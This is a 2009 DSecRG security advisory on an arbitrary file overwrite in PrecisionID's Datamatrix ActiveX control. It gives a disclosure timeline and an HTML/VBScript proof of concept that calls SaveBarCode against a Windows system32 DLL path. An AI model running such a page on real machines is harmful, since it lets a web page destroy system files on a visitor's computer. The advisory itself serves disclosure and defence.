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[DSECRG-09-030] PrecisionID Datamatrix ActiveX control - Arbitrary File overwriting

PrecisionID has activeX control DMATRIXLib.Datamatrix that can be used to overwrite any file in the target system.

Application: PrecisionID activeX controls
Vendor URL:
Bugs: File overwriting
Exploits: YES
Reported: 03.03.2009
Vendor response: NONE
Secondly Reported: 17.03.2009
Vendor response: NONE
Date of Public Advisory: 31.03.2009
Authors: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to overwrite
any file on OS

Sub SaveBarCode (
ByVal path As String

Sub SaveEnhWMF (
ByVal path As String


<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>

targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid = "DMATRIXLib.Datamatrix"
argCount = 1


target.SaveBarCode arg1



Safe For Scripting


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